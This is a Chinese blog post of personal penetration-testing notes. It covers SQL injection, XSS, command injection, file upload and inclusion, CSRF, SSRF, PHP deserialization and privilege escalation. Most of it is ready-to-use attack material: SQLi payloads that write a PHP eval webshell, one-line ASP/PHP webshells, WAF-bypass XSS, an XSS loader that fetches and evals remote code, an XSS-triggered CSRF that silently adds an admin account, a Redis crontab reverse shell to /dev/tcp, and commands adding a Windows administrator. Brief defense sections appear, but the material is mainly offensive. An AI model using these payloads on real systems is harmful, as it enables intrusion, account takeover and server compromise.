渗透测试点

SQL注入

原因:程序编写者在处理程序和数据库交互时,使用字符串凭借的方式构造sql语句
未对用户可控参数进行足够的过滤便将参数内容拼接到sql语句中

注入点可能存在的位置

在用户“可控参数”中注入sql语法,也就是说web应用在获取用户数据的地方,只要带入数据库查询,都有存在sql注入的可能,这些地方通常包括:
get数据
post数据
http头部 http请求报文其他字段
cookie数据

漏洞危害

可以获取数据库中的多种信息,如管理员后台密码,从而拖取数据库中内容,修改数据库内容或插入内容到数据库,如果数据库权限分配存在问题,或数据库本身存在缺陷,那么攻击者可以通过sql注入漏洞直接获取webshell或者服务器系统权限 mof|udf

分类

从数据类型分类:数字型、字符型
数字型注入就是注入点的数据,拼接到sql语句中是以数字出现的,即数据两边没有被单引号、双引号包括
字符型相反

根据注入手法分类:

UNION query SQL injection 联合查询
Error-based SQL injection 报错注入
Boolean-based blind SQL injection 布尔注入
Time-base blind SQL injection 延时注入
Stacked queries SQL injection 堆叠注入

注入点判断:在疑似注入点的连接或参数后面尝试提交以下数据

sql注入
御剑扫描网站后台
注入点判断
?id=35 +1/-1
select * from tbName where id=$id
变换id参数时,发现同一个页面展示出不同的内容,也就是说数据库中的内容会回显到网页中来,初步判定id参数会带入数据库查询,根据不同的id查询数据库,得到不同的内容
?id=35’ 判断是字符型还是数据型

目标:通过sql注入获得后台管理员账号密码成功登录系统

mysql:

注释: # – // /!../
mysql 元数据库information_schema
information_schema
tables
table_name
table_schema
columns
column_name
talbe_name
table_schema

常用函数和参数:
=|>|>=|<=|<> 比较运算符
and|or 逻辑运算符
version() mysql数据库版本
database() 当前数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@version_compile_os 操作系统版本

length() 返回字符串的长度
substring() 截取字符串
substr() 截取字符串
mid() 截取字符串

left() 从左侧开始取指定字符个数的字符串
concat() 没有分割符的连接字符串
concat_ws() 含有分隔符的字符串
group_concat() 连接一个组的字符串

ord() 返回ascii码
ascii() 返回ascii码
hex() 将字符串转换为16进制
unhex() 反操作
md5() 返回MD5值
floor(x) 返回不大于x的最大整数
round() 返回参数x接近的整数
rand() 返回0-1之间的随机浮点数、

load_file() 读取文件,并返回文件内容作为一个字符串
sleep() 睡眠时间为指定的秒数
if(ture,t,f) if判断
find_in_set() 返回字符串在字符串列表中的位置
benchmark() 指定语句执行的次数
name_const() 返回表作为结果

在sql中逻辑运算and比or的优先级高
sql语句解析顺序 from where group by having select

注入流程: 获取数据库名、表名、列名、数据

联合查询

由于数据库中的内容会回显到页面中来,才能使用联合查询union select
该语句会同时执行两条select语句生成两张虚表,然后把查询的结果进行拼接
拼接的条件:两张虚拟的表具有相同的列数(这个表有多少列数据)(也叫字段数)
虚拟表对应的列的数据类型相同
判断列数: 使用order by语句判断当前select语句所查询的虚拟表的列数
order by本意是按照一列进行排序,可以使用数字来代替具体的列名,比如order by 1就是按照第一列进行排序,如果mysql没有找到对应的列,就会报错,我们可以一次增加数字,知道数据库报错
order by 1 --+
order by 2 --+
判断显示位置:根据mysql数据库特性,select语句在执行的过程中,不需要指定表名
页面显示的是第一站虚拟表的内容,那么我们可以考虑让第一章虚拟表的 查询结果为假,则显示第二条记录。根据第二条记录中显示的内容,判断
具体是哪个列中的数据会显示出来
?id=-33 union select 1,2,3 --+
发现3会回显到页面中
数据库版本:利用version()替代数字3,就能得到数据库版本
当前数据库名:database()
数据库中的表:group_concat(table_name) from information_schema.tables where table_schema=database() --+
如果报错,考虑使用hex(group_concat(table_name))绕过
得到 cms_users
表中的字段(也叫列): hex(group_concat(column_name)) from cms_users --+
得到:username
字段中的内容: hex(concat(username)) from cms_users --+ 得到账号密码

报错注入

在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以进行报错注入
报错注入原理,在错误信息中执行sql语句,触发报错的方式很多

group by 重复键冲突
是因为floor(rand()*2)导致虚表是随机生成的,从而count( * )与 group by之间产生重复键冲突报错
count(* )是把列中相同的元素进行一个计数
a代表别名,x是别名代表红色字段:concat((select version() from information_schema.tables limit 0,1), floor(rand()*2)) x
limit 0,1表示从头0开始取,取1个数据
[?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1), floor(rand()*2)) x from information_schema.tables group by x) a) --+]
报错语句:
关键表禁用绕过:select concat(‘^’,version(),’^’,floor(rand()*2))x, count(*) from (select 1 union select null union select !1)a group by x;
rand()|count()禁用绕过:select min(@a:=1) from information_schema.tables group by concat(‘^’,@@version,’^’,@a:=(@a+1)%2);
不依赖额外的函数和具体的表:select min(@a:=1) from (select 1 union select null union select !1) a group by concat(‘^’,@@version,’^’,@a:=(@a+1)%2);

extractalue()
[?id=33 and extractvalue(1,concat(‘^’,(select version()),’^’)) --+]

updatexml()
[?id=33 and updatexml(1,concat(‘^’, (select database()),’^’),1) --+]

布尔盲注

原理:利用页面返回的布尔类型状态,正常或者不正常,或则根据返回包的字节长度
获取数据库名
数据库长度: ?id=33 and length(database())=1 --+
数据库名:?id=33 and ascii(substr(database(),1,1))=99 --+

延时注入

原理:利用sleep()语句的延时性,以时间线作为判断条件
获取数据库名长度:?id=33 and if((length(database())=3),sleep(5),1) --+

sqlmap使用

sqlmap -u “url” 检测注入点
sqlmap -u “url” --dbs 列出所有数据库的名字
sqlmap -u “url” --current-db 列出当前数据库的名字
sqlmap -u “url” -D “database” --tables 列出指定数据库的所有表名
sqlmap -u “url” -T “tables” --columns 列出指定表名的所有列名
sqlmap -u “url” -C “cloums” --dump 列出指定列的所有内容
sqlmap针对post型注入,要拿到一个数据包用-r指定 例如http数据包放到post.txt
sqlmap -r post.txt
利用sql注入漏洞读写文件:那就可以直接写入webshell
1.配置文件中的my.ini的secure-file-priv需要开启
2.当前用户具有文件权限:select File_priv from mysql.user where user=”root” and host=”localhost” 显示Y代表具有权限
3.知道要写入目标文件的绝对路径
4.读取文件操作
?id=-1’ union select 1, load_file(‘C:\Windows\System32\drivers\etc\hosts’), 3 --+
5.写入文件
?id=-1’ union select 1,’<?php @eval($_REQUEST[777]);?>’ ,3 into outfile ‘c:\phpstudy\www\2.php’ --+ 页面不报错说明写入成功

宽字节注入

作用:绕过转移字符
转移字符\编码是5c,提交?id=3%df’ union select 1,2,3 --+;
会变成 ?id=3%df\’ 即 ?id=3%df5c’ 0xdf5c作为一个汉字解析掉 剩下’就可以了

Cookie注入

需要进行登录之后才能在bp抓到cookie
document.cookie=”uname=Dumb’ and extractvalue(1,concat(0x7e,database(),0x7e))#”

base64注入

其实就是base64绕过
document.cookie=”uname=RHVtYundefinedkgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw==”

HTTP头部注入

User-Agent Referer字段 需要使用bp抓包
User-Agent:hacker’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’=’1
Referer:hacker’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’=’1

XSS

危害:
盗取用户账号
窃取用户cookie,冒充用户身份进入网站
劫持用户会话,执行任意操作
刷流浪,执行弹窗广告
传播蠕虫病毒

xss漏洞验证

<script>alert(/xss/)</script>
<script>confirm(‘xss’)</script>
<script>prompt(‘xss’)</script>

xss分类
反射型:是非持久的、参数型的跨站脚本
存储型:是持久的,因为代码保存在数据库或文件等可以保存数据的介质中,通常发生在留言板等地方
DOM型:payload在浏览器本地修改了DOM树而执行,并不会传到服务器上

Xss的构造
利用<>构造html/js

<h1 style=’color:red’>   <script>

伪协议
javascript伪协议

<a href=”javascript:alert(/xss/)>touch me!</a>
<img src=”javascript:alert(‘xss’)>

事件

<img src=”./smile.jpg’ onmouseover=’alert(/xss/)>  鼠标悬停在图片上触发
<input type=”text” onkeydown=”alert(/xss/)>  当点击键盘任意一个按键式触发
<input type=”button” onclick=”alert(/xss/)>
<img src=’#’ onerror=’alert(/xss/)>

利用css跨站(old)

行内样式<div style=”background-image:url(javascript:alert(/xss/))>
页内样式<style>Body{background-image:url(javascript:alert(/xss/))}</style>
外部样式<link rel=”stylesheet” type=”text/css” href=”./xss.css”><div>hello<div>

其他标签

<svg onload=”alert(/xss/)>
<input onfocus=alert(/xss/) autofocus>

XSS的变形
目的绕过检测,绕过waf
大小写绕过

<Img sRc=’#’ Onerror=”allert(/xss/) />
<a hREf=”javaScript:alert(/xss/)”>click me</a>

引号的使用

<img src=”#” onerror=”alert(/xss/)/>
<img src=’#’ onerror=’alert(/xss/) />
<img src=# onerror=alert(/xss/) />

/替代空格

<Img/src=’#’/Onerror=’alert(/xss/)’>

回车:在一些位置添加Tab和回车符,来绕过关键字检测

<Img/sRc=’#’/Onerror = ’alert(/xss/)’	/>
<A hREf=”javasctipt:alert(/xss/)”>click me!</a>

对标签属性值进行转码
字母 ascii码 十进制编码 十六进制编码
a 97 &#97 &#x61

拆分跨站

<script>z=’alert’</script>
<script>z=z+(/xss/)</script>
<script>eval(z)</script>

双写绕过

<scr<script>ipt>

CSS中的变形
使用全角字符 widh:e x p r e s s i o n (alert(/xss/))
注释会被浏览器忽略 width:expr/!/ession(alert(/xss/))
样式表中的\和\0

xss利用:
利用xss远程加载webshell

<script src=”http://172.16.132.138/XSS-TEST/normal/xss.js”></script>

xss.js中可以写入alert(‘xss.js’)

windows.locaton.hash获取浏览器url中#后面的内容 目前不知道有什么用

XSS Downloader
需要构建自己的恶意网页,让用户跑到我的恶意网页下载恶意代码

<script>
function XSS(){
if(window.XMLHttpRequest){
a = new XMLHttpRequest();
} else if(window.ActiveXObject){
a = new ActiveXObject(“Microsoft.XMLHTTP);
} else {return;}
a.open(get,’http://172.16.132.161/xss_downloader.php’, false);
b=a.responseText;
eval(unescape(b.substring(b.indexOf(BOF|)+4,b.indexOf(|EOF))));}
XSS();
</script>

恶意网页需要添加

<?php
header(‘Access-Control-Allow-Origin:*);
header(‘Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept’);
?>

xss防御
过滤:是否包含非法字符、是否超过最大长度限制、是否符合格式要求、输出编码、黑白名单、cookie设置httponly选项

xss利用浏览器漏洞getshell

PHP命令注入

eval()函数   eval(?code=phpinfo(); )  eval(?code=1;phpinfo(); )  
assert()函数  
preg_replace()函数  
call_user_func()  call_usr_func($fun,$para)  
?fun=assert&para=phpinfo()=>assert(phpinfo())
$a($b)函数  ?a=assert; b=phpinfo()

命令执行getshell

?code=@eval($_POST[1]);
获取当前文件的绝对路径 ?code=print(_FILE_);
读文件 file_get_contents()函数 ?code=var_dump(file_get_contents(‘c:\windows\system32\drivers\etc\hosts’));

写文件 需要知道可写目录 file_put_contents()函数
?code=var_dump(file_put_contents($_ POST[1],$_POST[2]));
1=shell.php&2=<?php phpinfo()?>

防御方法
不要使用eval等函数
过滤
preg_replace放弃/e修饰符

OS命令注入危害
继承web服务器程序权限,去执行系统命令
继承web服务器权限,读写文件
反弹shell
控制网站
控制服务器

相关函数
system()函数 exec()函数 shell_exec()函数 passthru()函数 popen()函数
反引号``内的字符串,也会被解析成os命令

漏洞利用
查看系统文件 ?cmd=type c:\windows\system32\drivers\etc\hosts
显示当前路径 ?cmd=cd
写文件 ?cmd=eche “<?php phpinfo();?> > D:\xampp\htdocs\Commandi\shell.php

防御方法
尽量减少命令执行函数的使用,在disable_functions中禁用
在进入命令执行的函数或方法之前,对参数进行过滤
参数的值尽量使用引号包裹,在拼接前调用addslashes进行转义

文件上传

条件:
开启上传功能,有上传api
web用户对目标目录具有可写可执行权限,一般情况下,web目录都有可执行权限
web容器能够解析我们上传的脚步
极端情况,服务器开启了PUT方法

ASP木马:<%eval request(“cmd”)%>
ASP.NET: <%@ Page Language=”Jscript”%> <%eval(Request.Item[“cmd”], “unsafe”); %>
PHP: <?php @eval($_REQUEST[‘cmd’]); ?>

文件上传防御
黑白名单策略 URLBlacklist URLWhitelist
进行二次渲染,过滤调图片马中的恶意代码
上传文件重命名,尽量少的从客户端获取信息
避免文件包含漏洞
避免处理文件路径,防御00截断漏洞,避开空格,点,::$DATA

PUT方法文件上传
测试Apache是否开启了PUT方法

telnet 172.16.132.165 80
----
OPTION / HTTP/1.1
HOST:172.16.132.165
---

apache开启PUT方法 httpd.conf文件

前端验证绕过
由于js脚本的运行环境是浏览器,通过修改js代码绕过
使用bp抓包,改文件后缀名绕过

服务器端绕过
服务器端会检测MIME类型
文件扩展名Mime-Type 在HTTP协议中,使用Content-Type字段表示文件的MIME类型
.js application/x-javascript
.html text/html
.jpg image/jpeg
.png image/png
.pdf application/pdf
绕过:bp抓包,改Content-Type

服务器端检测文件内容:getimagesize()函数
绕过:制作图片木马上传
1.最简单的图片木马,只需要在文件头添加Gif89a构造gif图片
2.文件头添加图片幻数生成图片木马png: 89 50 4E 47 0D 0A 00 00 00 0D 49 48 44 52 转ascii
3.copy把图片跟脚本结合生成图片马 copy smile.jpg/b + info.php/a sime_info.jpg
4.图片属性中的某些字段尝试插入一句话木马

服务器端检测后缀名
绕过: .php .php2 .php3 .php5 .phtml .asp .aspx .ascx .ashx .ass .cer .jsp .jspx

到这一步的前提是我们已经成功上传了但是无法执行

00截断: move_uploaded_file()函数
00就是Null(空)字符,URL中表现为%00,00截断会导致文件上传路径截断
这个是针对上传上去的文件被重命名 也就是把文件另存了
修改文件上传路径/upload 改成文件upload/test.php%00
这样你上传的文件直接就是test.php了,他就是你上传的webshell

.htaccess攻击 前提是你能把这个.htaccess上传上去或者把之前的这个覆盖掉
.htaccess是Apache服务器的分布式配置文件,该配置文件会覆盖Apache服务器的全局配置
如果Web应用允许上传.htaccess文件,那就意味着攻击者可以通过覆盖更改Apache的配置

将.png文件当作PHP文件执行
AddType application/x-httpd-php .png
改这个配置可以实现的目标:将.png文件当作PHP文件解析

文件名中包含php关键字
AddHandler php5-script php
当文件名info.php.png中包含关键字.php 那么info.php.png就会被当作php脚本执行

匹配文件名
以下配置匹配文件名ajest,找到该文件,并执行其中的php代码
<FilesMatch “ajest”>
SetHandler application/x-httpd-php

Web容器解析漏洞
Apache info.php.xxx.xx.x 会被解析成info.php
IIS6.0 asp;.jpg time.asp;1.jpg 1.asp/time.jpg这个你首先得创建一个文件夹1.asp
PHP CGI 解析漏洞 IIS7.0/7.5或IIS7.0/7.5+PHP环境 上传文件info.png文件无法执行添加 info.png/.php就能够被解析执行了
nginx解析漏洞 cgi.fix_pathinfo选项 也存在这个问题 info.png/.php实现执行
Nginx空字节 info.html%00.php 那么你上传的info.html就能够执行了
Nginx文件名逻辑漏洞 info.png+空格 上传成功 后面直接发送包修改 info.png …php,然后 在6进制形式下把中间的空格2e改为00便能执行

常见编辑器上传,编辑器指的是网站后台编辑网页的在线编辑器,会自动继承文件上传功能
ewebeditor 需要拿到网站后台,然后修改一些配置黑白名单,还有一些写入的地方写入 webshell
fckeditor 1.asp/time.jpg这个你首先得创建一个文件夹1.asp 然后上传这个图片webshell

南方数据管理系统
注入点 后台页面扫描
asp|access|.mdb|下载 利用数据库备份getshell

文件包含

文件包含其实就是类似于C语言的#include把另一个代码包含到当前这个代码中来执行
减少重复代码的引用
而在php中通常会把被包含的文件设置成变量,来进行动态调用,并且该变量可以被 覆盖
$path = “./info.php”; 因此导致客户端可以调用任意文件,造成文件包含漏洞
PHP中4个文件包含函数
include() 文件包含失败时,会产生警告,脚本会继续运行
include_once() 与include()功能相同,文件只会被包含一次
require() 文件包含失败时,会产生错误,直接结束脚本执行
require()_once() 与require()功能相同,文件只会被包含一次

被包含的文件会直接执行

漏洞产生的原因
Web应用实现了动态包含
动态包含的文件路径参数,客户端可控

相关配置php.ini
allow_url_fopen=On/Off 本地文件包含
前提是知道文件路径,然后通过相对路径的方式找到文件然后包含
?path=info.php
?path=…/xss-test/smile.jpg
如果上传的webshell无法执行,可以通过文件包含漏洞,在能够执行的地方包含 webshell文件就可以是实现getshell
allow_url_include=On/Off 远程文件包含 HTTP FTP PHP伪协议 php:
?path=http://172.16.132.138/include/info.php 这个是通过http协议
?path=ftp://user:123.com@10.0.105.223/info.php 这个是通过ftp协议
但是常用的php:伪协议没有提到

文件包含的特点
无视文件扩展名读取文件,可以包含图片木马,从而执行图片木马
无条件解析PHP代码

空字符安全绕过 其实效果等同于00截断 PHP版本小于5.3.4 PHP魔术引号要关闭
比如: include $_GET[‘path’].”.html’;
提交: ?info.php%00 这样就可以把后面的.html干掉

文件包含漏洞利用
读取敏感文件
目标主机文件存在(目标文件的路径,绝对路径,相对路径)
具有可读权限
?path=…\windows\System32\drivers\etc\hosts
这样的意思就是不断返回上一级目录,直到根目录就会停止
直接包含图片木马 你的这个图片马必须先上传上去
利用创建文件函数,直接写入webshell

<?php fputs(fopen(‘shell.php’, ‘w’),<?php @eval(\$_REQUEST[‘cmd’])?>);?>
PHP  file封装协议--访问本地文件
?path=file://c:\windows\System32\drivers\etc\hosts
PHP  php封装协议传输PHP文件
?path=php://filter/read=convert.base64-encode/resource=inc.php
然后把得到的字符串base64解码   用来读取文件
PHP 执行php命令
?path=php://input
然后通过POST请求写入数据,直接post的数据就是要执行的命令

只有本地文件包含漏洞,没有文件上传API如何进行getshell
使用GET请求 请求的内容写成webshell,然后因为报错会保存在日志中,然后利用文 件包含去包含日志,便能够成功getshell
1.包含本地日志文件getshell
日志文件路径,常识或爆破得到
2.包好session文件,造成sessionId泄露

代码审计

怎么getshell就是怎么写入webshell的意思

CSRF跨站请求伪造攻击

强制终端用户在当前对其进行身份验证后的Web应用程序上执行非本意的操作
攻击的重点在伪造更改状态的请求,因为攻击者无法查看对伪造请求的响应
欺骗受害者提交恶意请求的攻击,它继承了受害者的身份和特权,代表受害者执行非本意、恶意的操作

浏览器请求自动发送与站点关联的所有凭据,会话cookie,IP地址,windows域凭据等。因此
如果用户当前已对该站点进行了身份验证,则该站点将无法区分受害者发送的伪造请求和受害者发送的合法请求

CSRF攻击目标是更改服务器状态或数据的业务或功能,例如更改受害者的电子邮件地址,密码或购买商品。强制受害者查询数据。但是攻击者无法获得服务器响应。该漏洞结合存储型XSS会才能发挥更大的效果

有针对地对某个网站构造恶意请求更改服务器数据,然后诱使受害者点击

实战:与XSS的结合添加后台账号
攻击者可以通过XSS来触发CSRF攻击,利用JS发送请求
需要提前研究受害网站的业务流程

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open(\’post\’,\’http://172.16.132.138/cms/admin/user.action.php\’,false);
xmlhttp.setRequestHeader(“Content-type”,”appliaction/x-www-form-urlencoded”);
xmlhttp.send(\’act=add&username=ajext&password=123456&password2=123456&button=%E6%B7&userid=0\’);
</script>

将以上代码插入到网站留言板中,然后模拟网站管理员,登录后台,进行留言管理,只要管理员刷新页面就会触发XSS,以管理员的身份发送一个请求,创建一个后台账户ajest/123456,同时网站后台管理员一点“感觉”都没有

CSRF无效的防御 作为一名黑帽子,所有防御都是有缺陷的
使用秘密cookie
仅接受POST请求
多步交易
URL重写
HTTPS
有效防御
验证Referer字段 referer指定请求的来源网站
添加Token验证: 攻击者可以在不知道验证信息的情况下直接利用用户自己的Cookie来通过安全验证,由此防御关键是:在请求中加入攻击者不能伪造的信息,该信息不存在Cookie之中,开发者可以在HTTP请求中以参数的形式加入一个随机产生的token(随机字符串),并在服务器端建立一个拦截器来验证这个token,如果请求中token的内容不正确,就认为遭到攻击,拒绝请求
二次验证: 在进行转账等关键操作之前提供当前用户的密码或验证码

SSRF

web应用提供了从其他服务器或本地获取数据的功能,使用用户指定的URL,Web应用可以获取图片、文件资源。 例如引入网站提供百度地图API,百度提供识图功能
如果用户提交的url和远程服务器返回的信息没有进行合适的验证或者过滤,就可能存在“请求伪造”的缺陷。
SSRF简单说就是,攻击者伪造服务器的身份去对某些服务发起请求

SSRF危害
端口扫描
内网web应用指纹
攻击内网Web应用
读取本地文件

SSRF利用
访问正常文件
端口扫描(扫描内网机器的端口)
当访问为开放端口,脚本会显示空白或报错
?url=dict://127.0.0.1:1234
当访问开放端口时,脚本会显示banner信息
?url=dict://172.16.132.169:22
?url=dict://127.0.0.1:3306
?url=dict://127.0.0.1:21
读取系统本地文件 (这一点跟文件包含有点类似)
利用file协议可以任意读取系统本地文件
?url=file://c:\windows\system32\dirvers\etc\hosts
内网Web应用指纹识别
大多数web应用框架都有一些独特的文件和目录,通过他们识别出应用的类型,详细 版本
?url=http://loaclhost/phpmyadmin/README
攻击内网应用
这得期待内网中存在非常薄弱的地方
比如通过get方法攻击,struts2命令执行等
SSRF漏洞的挖掘点 (多多实战,不实战永远都找不到注入点)
对外发起网络请求的地方都可能存在SSRF漏洞,如:图片加载下载,分享页面,在线 翻译,未公开的api(从远程服务器请求支援文件处理,编码处理,属性信息处理)
分享:通过URL地址分享网页内容
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:通过URL地址翻译对应文本的内容
图片加载与下载:通过URL地址加载或下载图片
从URL关键字中寻找: share,wap,url,link,src,source,target,u,3g,display,sourceURI,imageURL,domain
验证SSRF的存在,burpsuite抓包
绕过:http://A.com@10.10.10.10
ip地址转换成进制 115.239.210.26 = 16373751032

SSRF的防御
限制协议:仅允许http和https请求
限制IP:避免应用被用来获取内网数据
限制端口:限制请求的端口为http常用端口,比如80,443,8080,8090

以上漏洞都可以通过代码审计的方法去检测

实战:Weblogic从ssrf到redis未授权访问到getshell
redis数据库,不需要用户名和密码就可以访问数据库,读写文件
抓包,看看哪些地方提交的是ip地址,然后反推哪个地方可能是ssrf,毕竟是黑盒
Redis数据库端口6379 不需要提供用户名和密码,具有root权限
利用redis数据实现读写文件操作,将计划任务写入/etc/crontab文件,实现反弹shell
读写文件语法:
set 1”\n\n\n\n* * * * * root bash -i >& /dev/tcp/10.0.105.222/777 0>&1\n\n\n\n”
config set dir /etc/
config set dbfilename crontab
save
然后还得进行url编码

业务安全测试

绘制业务流程图
万能用户名|密码
ajest’ or 1=1 # /密码随意 账户可能需要存在,才能允许登录 任意用户登录
ajest’ or ‘1’=’1 /密码随意
ajext’ # //

业务数据安全
商品支付金额篡改
前端JS限制绕过
请求重放测试
业务上限测试
商品订购数量篡改
密码找回安全
验证码客户端回显测试:验证码是否会回显在响应中
验证码暴力破解
Response状态值修改测试
Session覆盖: 有时服务端会通过读取当前session会话来判断要修改密码的账号, 修改session的内容,尝试把要修改的用户名或者接收验证码的手机号码改掉,我 们就可以通过自己的手机号码接收验证码, 实现任意用户密码重置,所以要搞清 楚这个业务的逻辑
弱Token设计缺陷测试:就是说这个token可以被爆破的意思,通过邮箱找回密码
的时候,会要求你打开某个链接,这个链接就会发送下面这个个请求,token爆破
http://www.xxx.com/findpwd?uis=xx-uu-xx-sxx&token=1497515314
接口参数账号修改:也就是任意账号密码重置 发送修该密码的时候,可以考虑把 用户改了,考虑把接受验证码的手机号码改了,考虑把接受邮件的账号改了
验证码绕过:有时候验证码存在于cookie,说明验证码可以重用,直接重放发包
如果验证码只有在刷新页面的时候才能刷新,也说明验证码可重用

反序列化漏洞

序列化就是把一个对象变成可以传输的字符串,利用存储和传输
PHP反序列化漏洞也叫PHP对象注入,漏洞形成的原因是程序没有对用户输入的反序列化字符串进行检测,也就是说存在用户输入反序列化字符串的接口,导致反序列过程可以被恶意控制,造成代码执行、getshell
PHP序列化和反序列化基本围绕serialize()和unserialize()
漏洞前提,提供用户输入序列化字符串接口,或该反序列化变量值攻击者可控,使用了serialize()函数和unserizlize()函数,调用了魔术方法并且魔术方法里边调用了eval()函数,eval()函数中的参数,攻击者可控


<?php
class Test{
public $str=AJEST;function __destruct(){
@eval($this->str);  //当在反序列化时$str变量被攻击者控制,传入恶意代码执行
}
}
$test = new Test();
$t = $_GET[‘obj’];    //参数$t被攻击者控制  传入序列化后的数据
var_dump(unserialize($t));  //unserizlize()函数的执行自动调用__destruct()函数的执行

&obj=[O:4:”Test”:1:{s:3:”str”;s:10:phpinfo();;}]这串参数就构造了一个类,并指定了$strphpinfo(), 并调用了__destruct()->eval(phpinfo()) 

以__开头的方法是PHP中的魔术方法,特定情况下回被自动调用
__construct() 在创建对象是自动调用
__destruct() 在销毁对象时自动调用
__call() 在对象中调用一个不可访问的方法时被调用
__callStatic() 在静态上下文中调用一个不可访问方法时调用
__get() 读取不可访问属性的值时被调用
__set() 在给不可访问属性赋值时被调用
__isset() 当对不可访问属性调用isset()或empty()时被调用
__unset() 当对不可访问属性调用unset()时被调用
__sleep()
__wakeup()
__toString()
__invoke()
__set_state()
__clone()
__debugInfo()

serialize()函数回检查雷总是否存在一个魔术方法,如果存在,该方法会先被调用

提权

水平权限提升
垂直权限提升 普通用户变为管理员权限 web用户提权成为管理员用户
基于Webshell的提权
IIS的aspx大马
asp脚本权限比较低
Windows系统漏洞提权
获取webshell之后就是系统或管理员权限
系统漏洞提权
找补丁,找漏洞,找exp
无法执行cmd命令
无法上传提权exp
目录与权限
哪些目录必有写权限
日志
缓存
回收站
如何创建windows用户
net user hack 123.com /add
net localgroup administrators back /add
数据库提权
MSSQL xp_cmdshell cmd命令
MYSQL提权
反弹shell
基于webshell反弹shell 建立一个持久性连接
命令解析器
正向shell
反向shell
windows nc.exe powershell
linux 利用系统漏洞提权-内核提权 第三方软件 收集系统信息 提权辅助脚本
搜索漏洞库 kali中开启http服务 运行提权脚本
MSF
网站敏感目录扫描 brute_dirs dir_listing dir_scanner
主机发现 modules/auxiliary/scanner/discovery/
端口扫描 auxiliary/scanner/portscan/
telnet服务 SSH服务查点 MSSQL服务查点

该漏洞主要得找web服务提供的功能,如果就一个静态页面,没有这种获取服务器本地资源或者获取url资源的方法,就不谈这个漏洞了,功能点越多,漏洞的存在性就越多

python exp脚本化测试

requests模块
定制头部 User-Agent
超时
GET 传参
POST 传参
文件上传
第一个字典变量指定上传文件 字典变量中的键对应上传页面上传表单的名字
第二个字典变量指定上传按钮 键对应提交按钮的name,值对应提交按钮的type
发送cookie信息

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值